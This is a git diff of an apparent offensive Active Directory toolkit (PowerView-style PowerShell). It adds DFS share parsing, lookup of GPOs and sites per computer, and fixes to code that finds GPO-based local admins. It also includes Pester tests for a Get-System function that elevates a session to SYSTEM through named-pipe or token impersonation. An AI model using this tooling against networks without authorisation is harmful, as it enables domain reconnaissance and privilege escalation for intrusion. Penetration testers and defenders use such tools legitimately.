$state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + #write-host $state + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) + #Write-Host $comment + } + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + #write-host $version + if ($version -ne 3) + { + #write-host "error" + } + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + #write-host $dfs_targetlist_blob_size + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + #write-host $reserved_blob_size + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + #write-host $target_count + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + #write-host $target_entry_size + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + #write-host $target_state + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + #write-host $target_type + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + #write-host $server_name_size + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + #write-host $server_name + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + #write-host $share_name + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $null + $blob_name = $null + $target_list = $null + } + + $servers = @() + $object_list | ForEach-Object { + #write-host $_.Name; + #write-host $_.TargetList + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split("\")[2] + } + } + } + + $servers + } + function Get-DFSshareV1 { [CmdletBinding()] param( @@ -5183,7 +5362,7 @@ function Get-DFSshare { [String] $ADSpath, - [ValidateRange(1,10000)] + [ValidateRange(1,10000)] [Int] $PageSize = 200, @@ -5201,6 +5380,7 @@ function Get-DFSshare { $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt $DFSshares += $RemoteNames | ForEach-Object { try { @@ -5213,9 +5393,22 @@ function Get-DFSshare { } } } + + if($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will + # have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we + # do actually want to match on "null" rather than + # $null + if ($_ -ne "null") { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } + } } catch { - Write-Warning "Get-DFSshareV2 error : $_" + Write-Warning "Get-DFSshareV1 error : $_" } $DFSshares | Sort-Object -Property "RemoteServerName" } @@ -5276,7 +5469,7 @@ function Get-DFSshare { } $DFSshares = @() - + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } @@ -5284,7 +5477,7 @@ function Get-DFSshare { $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } - $DFSshares | Sort-Object -Property "RemoteServerName" + $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique } @@ -5356,7 +5549,7 @@ function Get-GptTmpl { try { Write-Verbose "Parsing $GptTmplPath" - Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { + Get-Content $GptTmplPath -ErrorAction Stop | ForEach-Object { if ($_ -match '\[') { # this signifies that we're starting a new section $SectionName = $_.trim('[]') -replace ' ','' @@ -5553,6 +5746,10 @@ function Get-NetGPO { The GPO display name to query for, wildcards accepted. + .PARAMETER ComputerName + + Return all GPO objects applied to a given computer (FQDN). + .PARAMETER Domain The domain to query for GPOs, defaults to the current domain. @@ -5591,6 +5788,9 @@ function Get-NetGPO { $DisplayName, [String] + $ComputerName, + + [String] $Domain, [String] @@ -5613,21 +5813,95 @@ function Get-NetGPO { process { if ($GPOSearcher) { - if($DisplayName) { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + + if($ComputerName) { + $GPONames = @() + $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + + if(!$Computers) { + throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" + } + + # get the given computer's OU + $ComputerOUs = @() + ForEach($Computer in $Computers) { + # extract all OUs a computer is a part of + $DN = $Computer.distinguishedname + + $ComputerOUs += $DN.split(",") | ForEach-Object { + if($_.startswith("OU=")) { + $DN.substring($DN.indexof($_)) + } + } + } + + Write-Verbose "ComputerOUs: $ComputerOUs" + + # find all the GPOs linked to the computer's OU + ForEach($ComputerOU in $ComputerOUs) { + $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { + # get any GPO links + write-verbose "blah: $($_.name)" + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + + Write-Verbose "GPONames: $GPONames" + + # find any GPOs linked to the site for the given computer + $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName + if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + } + + $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { + + # use the gplink as an ADS path to enumerate all GPOs for the computer + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member Noteproperty 'ComputerName' $ComputerName + $Out + } + } + catch { + Write-Warning $_ + } + } } + else { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" - } + if($DisplayName) { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + } + else { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + } - try { - $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + catch { + Write-Warning $_ } - } - catch { - Write-Warning $_ } } } @@ -5670,7 +5944,7 @@ function New-GPOImmediateTask { .PARAMETER GPODisplayName - The GPO display name to to build the task for. + The GPO display name to build the task for. .PARAMETER Domain @@ -5928,7 +6202,7 @@ function Get-NetGPOGroup { ) # get every GPO from the specified domain with restricted groups set - Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object { + Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { $Memberof = $Null $Members = $Null @@ -6199,6 +6473,11 @@ function Find-GPOLocation { $GPOguid = $_.GPOName $GPOMembers = $_.Members + if(!$TargetObjects) { + # if the * wildcard was used, set the ObjectDistName as the GPO member sid set + $TargetObjects = $GPOMembers + } + if( -not $ProcessedGUIDs[$GPOguid] ) { $GPOname = $_.GPODisplayName $Filters = $_.Filters @@ -6217,12 +6496,8 @@ function Find-GPOLocation { $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } - if(!$TargetObjects) { - # if the * wildcard was used, set the ObjectDistName as the GPO member sid set - $TargetObjects = $GPOMembers - } + ForEach ($TargetSid in $TargetObjects) { - ForEach ($TargetSid in $TargetObjects) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype @@ -6241,7 +6516,7 @@ function Find-GPOLocation { } # find any sites that have this GUID applied - Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | Foreach-Object { + Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { ForEach ($TargetSid in $TargetObjects) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize @@ -6361,6 +6636,8 @@ function Find-GPOComputerAdmin { Throw "-ComputerName or -OUName must be provided" } + $GPOGroups = @() + if($ComputerName) { $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize @@ -6368,16 +6645,42 @@ function Find-GPOComputerAdmin { throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" } + $TargetOUs = @() ForEach($Computer in $Computers) { # extract all OUs a computer is a part of $DN = $Computer.distinguishedname - $TargetOUs = $DN.split(",") | Foreach-Object { + $TargetOUs += $DN.split(",") | ForEach-Object { if($_.startswith("OU=")) { $DN.substring($DN.indexof($_)) } } } + + # enumerate any linked GPOs for the computer's site + $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName + if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } | ForEach-Object { + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $_ + 'UsePSDrive' = $UsePSDrive + 'PageSize' = $PageSize + } + + # for each GPO link, get any locally set user/group SIDs + Get-NetGPOGroup @GPOGroupArgs + } + } } else { $TargetOUs = @($OUName) @@ -6385,19 +6688,19 @@ function Find-GPOComputerAdmin { Write-Verbose "Target OUs: $TargetOUs" - $TargetOUs | Where-Object {$_} | Foreach-Object { - - $OU = $_ + $TargetOUs | Where-Object {$_} | ForEach-Object { # for each OU the computer is a part of, get the full OU object - $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | Foreach-Object { + $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { # and then get any GPO links - $_.gplink.split("][") | Foreach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } } } - } | Foreach-Object { + } | ForEach-Object { $GPOGroupArgs = @{ 'Domain' = $Domain 'DomainController' = $DomainController @@ -6409,79 +6712,77 @@ function Find-GPOComputerAdmin { # for each GPO link, get any locally set user/group SIDs Get-NetGPOGroup @GPOGroupArgs } + } - # for each found GPO group, resolve the SIDs of the members - $GPOgroups | Where-Object {$_} | Foreach-Object { - $GPO = $_ + # for each found GPO group, resolve the SIDs of the members + $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPO = $_ - if ($GPO.members) { - $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { - if($_ -match '^S-1-.*') { - $_ - } - else { - # if there are any plain group names, try to resolve them to sids - (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID - } - } | Sort-Object -Unique - } + if ($GPO.members) { + $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { + if($_ -match '^S-1-.*') { + $_ + } + else { + # if there are any plain group names, try to resolve them to sids + (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID + } + } | Sort-Object -Unique + } - $GPO.members | Foreach-Object { + $GPO.members | ForEach-Object { - # resolve this SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ + # resolve this SID to a domain object + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOComputerAdmin + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerAdmin - # if we're recursing and the current result object is a group - if($Recurse -and $GPOComputerAdmin.isGroup) { + # if we're recursing and the current result object is a group + if($Recurse -and $GPOComputerAdmin.isGroup) { - Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { + Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object { - $MemberDN = $_.distinguishedName + $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn } - - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $GPOComputerAdmin } + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $GPOComputerAdmin } } } @@ -6521,9 +6822,15 @@ function Get-DomainPolicy { .EXAMPLE - PS C:\> Get-NetGPO + PS C:\> Get-DomainPolicy + + Returns the domain policy for the current domain. + + .EXAMPLE - Returns the GPOs in the current domain. + PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local + + Returns the policy for the MASTER.testlab.local domain controller. #> [CmdletBinding()] @@ -6577,25 +6884,25 @@ function Get-DomainPolicy { } # parse the GptTmpl.inf - Get-GptTmpl @ParseArgs | Foreach-Object { + Get-GptTmpl @ParseArgs | ForEach-Object { if($ResolveSids) { # if we're resolving sids in PrivilegeRights to names $Policy = New-Object PSObject - $_.psobject.properties | Foreach-Object { + $_.psobject.properties | ForEach-Object { if( $_.Name -eq 'PrivilegeRights') { $PrivilegeRights = New-Object PSObject # for every nested SID member of PrivilegeRights, try to # unpack everything and resolve the SIDs as appropriate - $_.Value.psobject.properties | Foreach-Object { + $_.Value.psobject.properties | ForEach-Object { - $Sids = $_.Value | Foreach-Object { + $Sids = $_.Value | ForEach-Object { try { if($_ -isnot [System.Array]) { Convert-SidToName $_ } else { - $_ | Foreach-Object { Convert-SidToName $_ } + $_ | ForEach-Object { Convert-SidToName $_ } } } catch { @@ -6707,7 +7014,7 @@ function Get-NetLocalGroup { [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String[]] - $ComputerName = 'localhost', + $ComputerName = "$($env:COMPUTERNAMECOMPUTERNAME)", [Parameter(ParameterSetName = 'WinNT')] [Parameter(ParameterSetName = 'API')] @@ -7492,7 +7799,7 @@ filter Invoke-CheckLocalAdminAccess { <# .SYNOPSIS - This function will use the OpenSCManagerW Win32API call to to establish + This function will use the OpenSCManagerW Win32API call to establish a handle to the remote host. If this succeeds, the current user context has local administrator acess to the target. @@ -7566,6 +7873,82 @@ filter Invoke-CheckLocalAdminAccess { } +filter Get-SiteName { +<# + .SYNOPSIS + + This function will use the DsGetSiteName Win32API call to look up the + name of the site where a specified computer resides. + + .PARAMETER ComputerName + + The hostname to look the site up for, default to localhost. + + .EXAMPLE + + PS C:\> Get-SiteName -ComputerName WINDOWS1 + + Returns the site for WINDOWS1.testlab.local. + + .EXAMPLE + + PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + + Returns the sites for every machine in AD. +#> + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = $Env:ComputerName + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # if we get an IP address, try to resolve the IP to a hostname + if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { + $IPAddress = $Computer + $Computer = [System.Net.Dns]::GetHostByAddress($Computer) + } + else { + $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress + } + + $PtrInfo = [IntPtr]::Zero + + $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) + Write-Debug "Get-SiteName result for $Computer : $Result" + + $ComputerSite = New-Object PSObject + $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer + $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + + if ($Result -eq 0) { + $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) + $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename + } + elseif($Result -eq 1210) { + Write-Verbose "Computername '$Computer' is not in a valid form." + $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' + } + elseif($Result -eq 1919) { + Write-Verbose "Computer '$Computer' is not in a site" + + $ComputerSite | Add-Member Noteproperty 'SiteName' $Null + } + else { + Write-Verbose "Error" + $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' + } + + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + $ComputerSite +} + + filter Get-LastLoggedOn { <# .SYNOPSIS @@ -9173,7 +9556,7 @@ function Invoke-ProcessHunter { else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object { $_.MemberName } } @@ -9510,7 +9893,7 @@ function Invoke-EventHunter { else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.MemberName } } @@ -11776,7 +12159,7 @@ function Find-ManagedSecurityGroups { #> # Go through the list of security groups on the domain and identify those who have a manager - Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | Foreach-Object { + Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { # Retrieve the object that the managedBy DN refers to $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname @@ -11948,8 +12331,9 @@ $FunctionDefinitions = @( (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 296829f..999d712 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -787,3 +787,45 @@ Describe 'Get-SiteListPassword' { } } } + + +Describe 'Get-System' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-System' Pester test needs local administrator privileges." + } + + AfterEach { + Get-System -RevToSelf + } + + It 'Should not throw with default parameters and should elevate to SYSTEM.' { + { Get-System } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It 'Named pipe impersonation should accept an alternate service and pipe name.' { + { Get-System -Technique NamedPipe -ServiceName 'testing123' -PipeName 'testpipe' } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It 'Should elevate to SYSTEM using token impersonation.' { + { Get-System -Technique Token } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It '-WhoAmI should display the current user.' { + { Get-System -Technique Token } | Should Not Throw + { Get-System -WhoAmI } | Should Match 'SYSTEM' + } + + It 'RevToSelf should revert privileges.' { + { Get-System -Technique Token } | Should Not Throw + { Get-System -RevToSelf } | Should Not Throw + "$([Environment]::UserName)" | Should Not Match 'SYSTEM' + } + + It 'Token impersonation should throw with incompatible parameters.' { + { Get-System -Technique Token -WhoAmI } | Should Throw + } +} |